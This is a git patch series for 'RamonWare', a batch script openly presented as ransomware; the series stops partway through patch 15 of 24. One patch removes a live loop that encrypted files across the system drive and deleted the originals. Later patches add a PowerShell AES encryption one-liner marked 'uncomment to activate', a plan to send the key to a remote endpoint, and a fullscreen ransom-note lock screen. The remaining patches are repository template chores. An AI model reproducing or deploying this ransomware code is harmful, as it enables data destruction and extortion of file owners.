From ed1d5ef70233cc36c54bf891ee74e8d09114cd32 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Mon, 17 Aug 2026 11:32:27 +0200
Subject: [PATCH 01/24] Update Ramonware.bat

---
 code/Ramonware.bat | 44 +++++++++++++++++++-------------------------
 1 file changed, 19 insertions(+), 25 deletions(-)
diff --git a/code/Ramonware.bat b/code/Ramonware.bat
index c1de0f3..52fd7d1 100644
--- a/code/Ramonware.bat
+++ b/code/Ramonware.bat
@@ -1,28 +1,22 @@
 <!-- :: Batch Section
 @Echo OFF
 mode con:cols=50 lines=2
-set pass=SegoCode
 
 Title Ramon Ware
 
 echo Scanning. . . .
 
-REM Set the root path for the operation
+REM Scan only: list matching files. Nothing is encrypted or deleted.
 set ROOT_PATH=%homedrive%\
-
-REM Start the loop searching for files with the .123test extension in all folders and subfolders on the drive
-FOR /R "%ROOT_PATH%" %%X in (*.123test) DO (
-    REM Safe Mode: Uncomment the following lines to activate safe mode. Safe mode is intended for use during development or in a test environment to prevent data loss.
-    REM Save the original filename to a text file for future reference
-    REM echo %%X >> %homedrive%\Original.txt
-
-    REM Change the original file's extension to .bak to preserve it instead of deleting it
-    REM ren "%%X" "%%~nX.bak"
-
-    REM Normal Mode: Encrypt the file and then delete it
-    REM Comment out the following two lines to deactivate normal mode and activate safe mode
-    aescrypt -e -p %pass% "%%X"
-    del "%%X"
+FOR /R "%ROOT_PATH%" %%X in (*.labasset) DO (
+    echo %%X >> %homedrive%\Original.txt
+    REM Encryption would happen here. Each listed file would be encrypted
+    REM and the original would be deleted, so the owner could not open it.
+    REM This step is not implemented: the script only finds files and logs them.
+    REM aescrypt would encrypt the file with a password; del would delete the original.
+    REM The password should be generated on this machine, sent to a remote endpoint, then erased from the PC. It must not stay stored locally.
+    REM aescrypt -e -p %pass% "%%X"
+    REM del "%%X"
 )
 
 REM Block Screen
@@ -34,9 +28,9 @@ for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
 
 <html>
     <head>
-        <title>CryptMSG</title>
-    <hta:application id="oBVC" 
-                     applicationname="BSOD"  
+        <title>RamonWare</title>
+    <hta:application id="lockScreen" 
+                     applicationname="RamonWare"  
                      version="1.0" 
                      maximizebutton="no" 
                      minimizebutton="no" 
@@ -44,7 +38,7 @@ for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
                      Caption="no" 
                      windowstate="maximize"/> 
     <style>
-        #texto2{
+        #ransomNote{
             padding-top: 19%;
             letter-spacing: 1px;
             text-align: center;
@@ -53,15 +47,15 @@ for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
 </head>
 <body bgcolor="#8c1d1d" scroll="no">
     <font face="Lucida Console" size="4" color="white">
-<center><p> - RamonWare Crypt - </p></center>
-<div id="texto2">
-    Oops, Your Files Have Been Encrypted!<br>
+<center><p> - RamonWare - </p></center>
+<div id="ransomNote">
+    Ooops, your files have been encrypted!<br>
     <br><br>
-    Now you need run RamonDecryptor, be careful next time<br>
+    Your important files are encrypted. Nobody can recover your files without our decryption service.<br>
     <br><br>
    Github.com/SegoCode<br>
     <br><br><br>
-    <img id="imagen" alt="Candado" src="https://i.imgur.com/rytGPFG.png" height="130" width="100">
+    <img id="lockIcon" alt="Lock" src="https://i.imgur.com/rytGPFG.png" height="130" width="100">
 </div>
 </body>
 </html>

From 484a00a5b531e009f832ec493d7d0fd2c222affc Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Mon, 17 Aug 2026 11:32:32 +0200
Subject: [PATCH 02/24] Update README.md

---
 README.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/README.md b/README.md
index f39ce43..b4fdf13 100644
--- a/README.md
+++ b/README.md
@@ -4,7 +4,7 @@
 <p align="center">
 <img src="https://img.shields.io/badge/Windows-Batch-green?style=flat-square"></a>
 <img src="https://img.shields.io/badge/-%20Made%20with%20😈-violet.svg?style=flat-square"></a>
-<img src="https://img.shields.io/badge/core-AEScrypt.exe-red?style=flat-square"></a>
+<img src="https://img.shields.io/badge/scope-detection-blue?style=flat-square"></a>
 </p>
 
 <h3 align="center"><img src="https://github.com/SegoCode/Ramonware/blob/main/assets/demo.png" height="500px"></h3>
@@ -18,7 +18,7 @@
 
 ## About
 
-RamonWare is a batch tool that uses AES encryption to simulate the process of file encryption typically used in ransomware attacks.
+RamonWare is a batch prototype that models the detection phase and lock-screen presentation of a ransomware incident. Matching files are inventoried; they are neither encrypted nor deleted.
 
 ## Features
 
@@ -33,8 +33,8 @@ cd Ramonware/code
 Ramonware.bat
 ```
 
-> [!IMPORTANT]  
-> To create a real functionality the script must download aescript cli (https://www.aescrypt.com/download/), or otherwise have it available in the system path.
+> [!IMPORTANT]
+> This prototype performs detection and inventory only. It does not apply cryptographic operations or modify target files.
 
 
 ## Download

From 5b219f6f55c4a6b8755679b7364cd5608aaae568 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Mon, 17 Aug 2026 11:32:37 +0200
Subject: [PATCH 03/24] Create inventory.yml

---
 .github/workflows/inventory.yml | 44 +++++++++++++++++++++++++++++++++
 1 file changed, 44 insertions(+)
 create mode 100644 .github/workflows/inventory.yml

diff --git a/.github/workflows/inventory.yml b/.github/workflows/inventory.yml
new file mode 100644
index 0000000..dd2e885
--- /dev/null
+++ b/.github/workflows/inventory.yml
@@ -0,0 +1,44 @@
+name: Inventory
+
+on:
+  push:
+    branches:
+      - '**'
+
+jobs:
+  detect:
+    runs-on: windows-latest
+    timeout-minutes: 5
+    steps:
+      - uses: actions/checkout@v7.0.1
+
+      - name: Create lab asset
+        run: Set-Content -Path C:\ramonware-ci.labasset -Value 'fixture'
+
+      - name: Run prototype and assert log
+        shell: pwsh
+        run: |
+          $marker = 'ramonware-ci.labasset'
+          $log = 'C:\Original.txt'
+          if (Test-Path $log) { Remove-Item $log -Force }
+
+          $p = Start-Process -FilePath $env:ComSpec -ArgumentList '/c', 'code\Ramonware.bat' -WorkingDirectory $env:GITHUB_WORKSPACE -PassThru
+
+          $found = $false
+          foreach ($i in 1..60) {
+            Start-Sleep -Seconds 2
+            if ((Test-Path $log) -and (Select-String -Path $log -Pattern $marker -Quiet -ErrorAction SilentlyContinue)) {
+              $found = $true
+              break
+            }
+          }
+
+          if ($p -and -not $p.HasExited) { taskkill /T /F /PID $p.Id 2>$null }
+          Get-Process mshta -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
+
+          if (-not $found) {
+            if (Test-Path $log) { Get-Content $log }
+            throw "Original.txt does not contain $marker"
+          }
+
+          Get-Content $log

From f0e01718871dea46ab0e0f1dea184bef60c7e71b Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Mon, 17 Aug 2026 14:33:33 +0200
Subject: [PATCH 04/24] Update inventory.yml

---
 .github/workflows/inventory.yml | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/inventory.yml b/.github/workflows/inventory.yml
index dd2e885..9ba609a 100644
--- a/.github/workflows/inventory.yml
+++ b/.github/workflows/inventory.yml
@@ -27,7 +27,7 @@ jobs:
           $found = $false
           foreach ($i in 1..60) {
             Start-Sleep -Seconds 2
-            if ((Test-Path $log) -and (Select-String -Path $log -Pattern $marker -Quiet -ErrorAction SilentlyContinue)) {
+            if ((Test-Path $log) -and (Select-String -Path $log -Pattern $marker -SimpleMatch -Quiet -ErrorAction SilentlyContinue)) {
               $found = $true
               break
             }
@@ -35,6 +35,11 @@ jobs:
 
           if ($p -and -not $p.HasExited) { taskkill /T /F /PID $p.Id 2>$null }
           Get-Process mshta -ErrorAction SilentlyContinue | Stop-Process -Force -ErrorAction SilentlyContinue
+          Start-Sleep -Seconds 1
+
+          if (-not $found -and (Test-Path $log) -and (Select-String -Path $log -Pattern $marker -SimpleMatch -Quiet -ErrorAction SilentlyContinue)) {
+            $found = $true
+          }
 
           if (-not $found) {
             if (Test-Path $log) { Get-Content $log }

From 60a0acbca2f368a5a21f9f79d6f09040a8e00f79 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Mon, 17 Aug 2026 16:09:11 +0200
Subject: [PATCH 05/24] Update Ramonware.bat

---
 code/Ramonware.bat | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/code/Ramonware.bat b/code/Ramonware.bat
index 52fd7d1..4806531 100644
--- a/code/Ramonware.bat
+++ b/code/Ramonware.bat
@@ -13,9 +13,9 @@ FOR /R "%ROOT_PATH%" %%X in (*.labasset) DO (
     REM Encryption would happen here. Each listed file would be encrypted
     REM and the original would be deleted, so the owner could not open it.
     REM This step is not implemented: the script only finds files and logs them.
-    REM aescrypt would encrypt the file with a password; del would delete the original.
+    REM PowerShell AES (uncomment to activate). Encrypts the file; del removes the original.
     REM The password should be generated on this machine, sent to a remote endpoint, then erased from the PC. It must not stay stored locally.
-    REM aescrypt -e -p %pass% "%%X"
+    REM powershell -NoProfile -Command "function Protect-LabFile($Path,$Pass){ $aes=[Security.Cryptography.Aes]::Create(); $aes.Key=[Security.Cryptography.Rfc2898DeriveBytes]::new($Pass,[byte[]](1..16),10000).GetBytes(32); $aes.GenerateIV(); $b=[IO.File]::ReadAllBytes($Path); $c=$aes.CreateEncryptor().TransformFinalBlock($b,0,$b.Length); [IO.File]::WriteAllBytes($Path+'.aes',$aes.IV+$c) }; Protect-LabFile '%%X' '%pass%'"
     REM del "%%X"
 )
 

From 48b828a5afc10c3e1051525455c188505cb9a96f Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:42 +0200
Subject: [PATCH 06/24] Update README.md

---
 README.md | 40 ++++++++++++++++++++--------------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/README.md b/README.md
index b4fdf13..ba51439 100644
--- a/README.md
+++ b/README.md
@@ -1,13 +1,6 @@
-<h3 align="center"><img src="https://github.com/SegoCode/Ramonware/blob/main/assets/logo.png" height="130px"></h3>
-<p align="center">Hi, I'm a ransomware code in batch my name is Ramon</p>
+# {reponame}
 
-<p align="center">
-<img src="https://img.shields.io/badge/Windows-Batch-green?style=flat-square"></a>
-<img src="https://img.shields.io/badge/-%20Made%20with%20😈-violet.svg?style=flat-square"></a>
-<img src="https://img.shields.io/badge/scope-detection-blue?style=flat-square"></a>
-</p>
-
-<h3 align="center"><img src="https://github.com/SegoCode/Ramonware/blob/main/assets/demo.png" height="500px"></h3>
+<h3 align="center"><img src="media/demo.png"></h3>
 
 <p align="center">
   <a href="#about">About</a> •
@@ -17,31 +10,38 @@
 </p>
 
 ## About
+[![Top language](https://img.shields.io/github/languages/top/{username}/{reponame}?style=flat-square)](https://github.com/{username}/{reponame})
+[![Repository size](https://img.shields.io/github/repo-size/{username}/{reponame}?style=flat-square&label=repo%20size)](https://github.com/{username}/{reponame})
+[![Commit activity per year](https://img.shields.io/github/commit-activity/y/{username}/{reponame}?style=flat-square&label=commits)](https://github.com/{username}/{reponame}/graphs/commit-activity)
+[![License: MIT License](https://img.shields.io/badge/license-MIT-blue?style=flat-square)](https://github.com/{username}/{reponame}/blob/main/LICENSE)
+[![Bitcoin BTC](https://img.shields.io/badge/buy_me_a_coffee-BTC-F7931A?style=flat-square&logo=bitcoin&logoColor=white)](https://github.com/SegoCode/SegoCode/discussions/2)
 
-RamonWare is a batch prototype that models the detection phase and lock-screen presentation of a ransomware incident. Matching files are inventoried; they are neither encrypted nor deleted.
+
+RamonWare is a Windows batch prototype of a ransomware incident. Shows a fullscreen lock screen (HTA). Encryption stays commented. The script does not encrypt or delete files unless you uncomment the PowerShell AES block.
 
 ## Features
 
-- Safe Mode for testing: Includes a 'Safe Mode' feature for development and testing environments that prevents actual data loss
-- Self-contained batch: Designed to run from the command line with minimal setup
+- Lock screen: opens a fullscreen HTA with a WannaCry-style note after the scan.
+
+- Single file: `code/Ramonware.bat` holds the scan and the HTML. No extra install.
 
 ## Quick Start & Information
 
 ```shell
-git clone https://github.com/SegoCode/NetfixHistoryViewer
-cd Ramonware/code
+git clone https://github.com/{username}/{reponame}
+cd {reponame}/code
 Ramonware.bat
 ```
 
-> [!IMPORTANT]
-> This prototype performs detection and inventory only. It does not apply cryptographic operations or modify target files.
-
+> [!CAUTION]
+> The scan starts at `%homedrive%\` and walks every folder.
+> Uncommenting the PowerShell AES lines and `del` encrypts the file and removes the original.
 
 ## Download
 
-Provide a direct link to where users can download the application
+https://raw.githubusercontent.com/SegoCode/Ramonware/refs/heads/master/code/Ramonware.bat
 
 ---
-<p align="center"><a href="https://github.com/SegoCode/RepositoryTemplate/graphs/contributors">
-  <img src="https://contrib.rocks/image?repo=SegoCode/RepositoryTemplate" />
+<p align="center"><a href="https://github.com/{username}/{reponame}/graphs/contributors">
+  <img src="https://contrib.rocks/image?repo={username}/{reponame}" />
 </a></p>

From b181be1dc63ed13d340d6631797fc94ad2dd3ae6 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:45 +0200
Subject: [PATCH 07/24] Delete LICENSE

---
 LICENSE | 24 ------------------------
 1 file changed, 24 deletions(-)
 delete mode 100644 LICENSE

diff --git a/LICENSE b/LICENSE
deleted file mode 100644
index fdddb29..0000000
--- a/LICENSE
+++ /dev/null
@@ -1,24 +0,0 @@
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <https://unlicense.org>

From da8788522276d7da2f4892957ec67dffa794eff8 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:46 +0200
Subject: [PATCH 08/24] Create .gitkeep

---
 docs/.gitkeep | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 docs/.gitkeep

diff --git a/docs/.gitkeep b/docs/.gitkeep
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/docs/.gitkeep
@@ -0,0 +1 @@
+

From 3a603ee4c5d1e86969e7f94f318482b9a023237e Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:49 +0200
Subject: [PATCH 09/24] Update Ramonware.bat

---
 code/Ramonware.bat | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/code/Ramonware.bat b/code/Ramonware.bat
index 4806531..210cca9 100644
--- a/code/Ramonware.bat
+++ b/code/Ramonware.bat
@@ -19,7 +19,6 @@ FOR /R "%ROOT_PATH%" %%X in (*.labasset) DO (
     REM del "%%X"
 )
 
-REM Block Screen
 cls
 setlocal
 for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
@@ -51,7 +50,7 @@ for /F "delims=" %%a in ('mshta.exe "%~F0"') do set "HTA=%%a"
 <div id="ransomNote">
     Ooops, your files have been encrypted!<br>
     <br><br>
-    Your important files are encrypted. Nobody can recover your files without our decryption service.<br>
+    Your important files are encrypted. Nobody can get back your files without our decryption service.<br>
     <br><br>
    Github.com/SegoCode<br>
     <br><br><br>

From 3a937864f2705b445bbe9ca5a1eaf25f3e93edd8 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:50 +0200
Subject: [PATCH 10/24] Update .gitignore

---
 .gitignore | 112 +++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 109 insertions(+), 3 deletions(-)

diff --git a/.gitignore b/.gitignore
index 8d6fa21..280d3be 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,5 +1,12 @@
-# Created by https://www.toptal.com/developers/gitignore/api/intellij+all,visualstudiocode,git,windows,linux
-# Edit at https://www.toptal.com/developers/gitignore?templates=intellij+all,visualstudiocode,git,windows,linux
+### Custom ###
+
+code/.idea/*
+
+# Created by https://www.toptal.com/developers/gitignore/api/git,gpg,ssh,vim,linux,macos,windows,notepadpp,sublimetext,intellij+all,visualstudiocode,dotenv
+# Edit at https://www.toptal.com/developers/gitignore?templates=git,gpg,ssh,vim,linux,macos,windows,notepadpp,sublimetext,intellij+all,visualstudiocode,dotenv
+
+### dotenv ###
+.env
 
 ### Git ###
 # Created by git for backups. To disable backups in Git:
@@ -16,6 +23,10 @@
 *_LOCAL_*.txt
 *_REMOTE_*.txt
 
+### GPG ###
+secring.*
+
+
 ### Intellij+all ###
 # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
 # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
@@ -119,6 +130,101 @@ fabric.properties
 # .nfs files are created when an open file is removed but is still being accessed
 .nfs*
 
+### macOS ###
+# General
+.DS_Store
+.AppleDouble
+.LSOverride
+
+# Icon must end with two \r
+Icon
+
+
+# Thumbnails
+._*
+
+# Files that might appear in the root of a volume
+.DocumentRevisions-V100
+.fseventsd
+.Spotlight-V100
+.TemporaryItems
+.Trashes
+.VolumeIcon.icns
+.com.apple.timemachine.donotpresent
+
+# Directories potentially created on remote AFP share
+.AppleDB
+.AppleDesktop
+Network Trash Folder
+Temporary Items
+.apdisk
+
+### macOS Patch ###
+# iCloud generated files
+*.icloud
+
+### NotepadPP ###
+# Notepad++ backups #
+*.bak
+
+### SSH ###
+**/.ssh/id_*
+**/.ssh/*_id_*
+**/.ssh/known_hosts
+
+### SublimeText ###
+# Cache files for Sublime Text
+*.tmlanguage.cache
+*.tmPreferences.cache
+*.stTheme.cache
+
+# Workspace files are user-specific
+*.sublime-workspace
+
+# Project files should be checked into the repository, unless a significant
+# proportion of contributors will probably not be using Sublime Text
+# *.sublime-project
+
+# SFTP configuration file
+sftp-config.json
+sftp-config-alt*.json
+
+# Package control specific files
+Package Control.last-run
+Package Control.ca-list
+Package Control.ca-bundle
+Package Control.system-ca-bundle
+Package Control.cache/
+Package Control.ca-certs/
+Package Control.merged-ca-bundle
+Package Control.user-ca-bundle
+oscrypto-ca-bundle.crt
+bh_unicode_properties.cache
+
+# Sublime-github package stores a github token in this file
+# https://packagecontrol.io/packages/sublime-github
+GitHub.sublime-settings
+
+### Vim ###
+# Swap
+[._]*.s[a-v][a-z]
+!*.svg  # comment out if you don't need vector files
+[._]*.sw[a-p]
+[._]s[a-rt-v][a-z]
+[._]ss[a-gi-z]
+[._]sw[a-p]
+
+# Session
+Session.vim
+Sessionx.vim
+
+# Temporary
+.netrwhist
+# Auto-generated tag files
+tags
+# Persistent undo
+[._]*.un~
+
 ### VisualStudioCode ###
 .vscode/*
 !.vscode/settings.json
@@ -164,4 +270,4 @@ $RECYCLE.BIN/
 # Windows shortcuts
 *.lnk
 
-# End of https://www.toptal.com/developers/gitignore/api/intellij+all,visualstudiocode,git,windows,linux
+# End of https://www.toptal.com/developers/gitignore/api/git,gpg,ssh,vim,linux,macos,windows,notepadpp,sublimetext,intellij+all,visualstudiocode,dotenv

From e677b6db649e517170983354919d20fe12a12ce6 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:53 +0200
Subject: [PATCH 11/24] Create initializer.yml

---
 .github/workflows/initializer.yml | 100 ++++++++++++++++++++++++++++++
 1 file changed, 100 insertions(+)
 create mode 100644 .github/workflows/initializer.yml

diff --git a/.github/workflows/initializer.yml b/.github/workflows/initializer.yml
new file mode 100644
index 0000000..d22d4f7
--- /dev/null
+++ b/.github/workflows/initializer.yml
@@ -0,0 +1,100 @@
+name: Initialize repository
+
+on:
+  workflow_dispatch:
+
+concurrency:
+  group: initialize-repository
+
+jobs:
+  initialize_repo:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+      issues: write
+      pull-requests: write
+
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v7
+        with:
+          ref: main
+          fetch-depth: 0
+
+      - name: Setup git
+        run: |
+          git config user.name "github-actions[bot]"
+          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
+
+      - name: Extract repository and username
+        id: extract
+        run: |
+          echo "username=${{ github.repository_owner }}" >> "$GITHUB_OUTPUT"
+          echo "reponame=${{ github.event.repository.name }}" >> "$GITHUB_OUTPUT"
+
+      - name: Create develop branch if it doesn't exist
+        run: |
+          if ! git ls-remote --exit-code --heads origin develop; then
+            git push origin HEAD:refs/heads/develop
+          fi
+
+      - name: Replace {reponame} and {username} with actual values in non-workflow files
+        run: |
+          set -o pipefail
+          REPO_NAME_ONLY="${{ steps.extract.outputs.reponame }}"
+          USERNAME="${{ steps.extract.outputs.username }}"
+          git grep -Ilz '{reponame}' -- ':!.github/workflows/*' | xargs -0r sed -i "s/{reponame}/$REPO_NAME_ONLY/g"
+          git grep -Ilz '{username}' -- ':!.github/workflows/*' | xargs -0r sed -i "s/{username}/$USERNAME/g"
+
+      - name: Remove initializer workflow
+        run: |
+          rm -f .github/workflows/initializer.yml
+
+      - name: Commit changes
+        run: |
+          git checkout -B chore/initialize-repository
+          git add --all -- ':!.github/workflows'
+          git add .github/workflows/initializer.yml
+          git commit -m "chore: initialize repository"
+          git fetch origin chore/initialize-repository:refs/remotes/origin/chore/initialize-repository 2>/dev/null || true
+          git push --force-with-lease origin HEAD:chore/initialize-repository
+
+      - name: Create pull request
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          PR_URL=$(gh pr list --repo "${{ github.repository }}" --base main --head chore/initialize-repository \
+            --state open --json url --jq '.[0].url')
+          if [ -z "$PR_URL" ]; then
+            if ! PR_URL=$(gh pr create --repo "${{ github.repository }}" --base main --head chore/initialize-repository \
+              --title "chore: initialize repository" \
+              --body "Replace template placeholders, create the develop branch, and remove the one-time initializer." 2>&1); then
+              if [[ "$PR_URL" != *"not permitted to create or approve pull requests"* ]]; then
+                echo "$PR_URL" >&2
+                exit 1
+              fi
+
+              ISSUE_TITLE="Action required: allow workflows to create pull requests"
+              ISSUE_BODY=$(printf '%s\n' \
+                "The repository initializer could not create its pull request because GitHub Actions does not have permission." \
+                "" \
+                "To fix it:" \
+                "" \
+                "1. Open [Settings > Actions > General](https://github.com/${{ github.repository }}/settings/actions)." \
+                "2. Under **Workflow permissions**, select **Read and write permissions**." \
+                "3. Enable **Allow GitHub Actions to create and approve pull requests**." \
+                "4. Save the changes." \
+                "5. Run the [Initialize repository workflow](https://github.com/${{ github.repository }}/actions/workflows/initializer.yml) again.")
+
+              EXISTING_ISSUE=$(gh issue list --repo "${{ github.repository }}" --state open --limit 100 \
+                --json title,url --jq '.[] | select(.title == "Action required: allow workflows to create pull requests") | .url')
+              if [ -n "$EXISTING_ISSUE" ]; then
+                echo "Permission issue already exists: $EXISTING_ISSUE"
+              else
+                gh issue create --repo "${{ github.repository }}" --title "$ISSUE_TITLE" --body "$ISSUE_BODY"
+              fi
+              echo "$PR_URL" >&2
+              exit 1
+            fi
+          fi
+          echo "$PR_URL"

From 11a68f2a31cea22706008aa9e5a901c5f2877e07 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:54 +0200
Subject: [PATCH 12/24] Update greetings.yml

---
 .github/workflows/greetings.yml | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/greetings.yml b/.github/workflows/greetings.yml
index 0c71d41..2450362 100644
--- a/.github/workflows/greetings.yml
+++ b/.github/workflows/greetings.yml
@@ -1,6 +1,6 @@
 name: Greetings
 
-on: [pull_request_target]
+on: [pull_request_target, issues]
 
 jobs:
   greeting:
@@ -9,7 +9,8 @@ jobs:
       issues: write
       pull-requests: write
     steps:
-    - uses: actions/first-interaction@v1
+    - uses: actions/first-interaction@v3.1.0
       with:
-        repo-token: ${{ secrets.GITHUB_TOKEN }}
-        pr-message: "🎉 Thank you for your first pull request to the repository! We're grateful for your contribution and will review it ASAP."
+        repo_token: ${{ secrets.GITHUB_TOKEN }}
+        issue_message: "Thank you for your first issue. To better understand your request or the problem you've encountered, please provide as many details as possible. If the behavior changes or if you have new information about your request, don't hesitate to add it. It will be reviewed ASAP."
+        pr_message: "Thank you for your first pull request to the repository! We're grateful for your contribution and will review it ASAP."

From fa307d938a273d1a27c80b5e7685ef3a74403298 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:56 +0200
Subject: [PATCH 13/24] Create gitleaks.yml

---
 .github/workflows/gitleaks.yml | 64 ++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)
 create mode 100644 .github/workflows/gitleaks.yml

diff --git a/.github/workflows/gitleaks.yml b/.github/workflows/gitleaks.yml
new file mode 100644
index 0000000..f16f194
--- /dev/null
+++ b/.github/workflows/gitleaks.yml
@@ -0,0 +1,64 @@
+name: Gitleaks
+on:
+  push:
+  pull_request:
+  workflow_dispatch:
+
+jobs:
+  scan:
+    name: Gitleaks Scan
+    runs-on: ubuntu-latest
+    permissions:
+      contents: read
+      issues: write
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v7
+        with:
+          fetch-depth: 0
+      
+      - name: Run Gitleaks
+        id: gitleaks
+        uses: gitleaks/gitleaks-action@v3
+        env:
+          GITHUB_TOKEN: ${{ github.token }}
+        continue-on-error: true
+      
+      - name: Create issue if leaks found
+        if: steps.gitleaks.outcome == 'failure' && (github.ref == 'refs/heads/main' || github.event_name == 'workflow_dispatch')
+        env:
+          GH_TOKEN: ${{ github.token }}
+        run: |
+          echo "Creating detailed security issue report..."
+          
+          TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
+          
+          ISSUE_BODY="## 🚨 Security Alert: Potential Secrets Detected
+
+          **Detection Time:** ${TIMESTAMP}
+          **Branch:** ${GITHUB_REF#refs/heads/}
+          **Detected by:** Gitleaks Security Scanner
+          
+          ### Details
+          Gitleaks has detected one or more potential secrets or credentials in the codebase.
+          
+          ### Impact
+          Exposed secrets can lead to unauthorized access, data breaches, or account compromise.
+          
+          ### Next Steps
+          1. Review the workflow logs for specific details about the detected secrets: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
+          2. Revoke any exposed credentials immediately
+          3. Remove the secrets from the codebase
+          4. Consider using GitHub Secrets or environment variables instead
+          
+          ---
+          *This issue was automatically generated by the Gitleaks security scanning workflow.*"
+          
+          gh issue create \
+            --repo "${{ github.repository }}" \
+            --title "Security Alert: Potential secrets detected in main branch" \
+            --body "${ISSUE_BODY}"
+
+      - name: Fail if leaks were found
+        if: steps.gitleaks.outcome == 'failure'
+        run: exit 1

From 5250009da4abd46442ab68da505fe70f29944aaf Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:56:58 +0200
Subject: [PATCH 14/24] Create SECURITY.md

---
 .github/SECURITY.md | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 .github/SECURITY.md

diff --git a/.github/SECURITY.md b/.github/SECURITY.md
new file mode 100644
index 0000000..df34996
--- /dev/null
+++ b/.github/SECURITY.md
@@ -0,0 +1 @@
+If you discover a vulnerability in this application, that poses a significant threat to the security of the users, we recommend that you do not open a public issue. Instead, please send your report via [email](https://{username}.github.io/{username}/). Include as much detailed information as possible to help understand the nature of the vulnerability.

From 0156a9d2521186e469fa30dd112713b3646b1db4 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
Date: Wed, 19 Aug 2026 16:57:00 +0200
Subject: [PATCH 15/24] Update feature_request.yml

---
 .github/ISSUE_TEMPLATE/feature_request.yml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml
index 29da8e6..23c5ebc 100644
--- a/.github/ISSUE_TEMPLATE/feature_request.yml
+++ b/.github/ISSUE_TEMPLATE/feature_request.yml
@@ -34,7 +34,7 @@ body:
     attributes:
       label: Confirmation
       options:
-        - label: I performed a [search of the feature requests](https://github.com/segocode/Ramonware/issues) to avoid suggesting a duplicate feature
+        - label: I performed a [search of the feature requests](https://github.com/{username}/{reponame}/issues) to avoid suggesting a duplicate feature
           required: true
         - label: I understand that not filling out this template correctly may lead to the request being closed
-          required: true
\ No newline at end of file
+          required: true

From eba84b85177d678bc8ec09e1a552a5bd28eb3531 Mon Sep 17 00:00:00 2001
From: SegoCode <35817798+SegoCode@users.noreply.github.com>
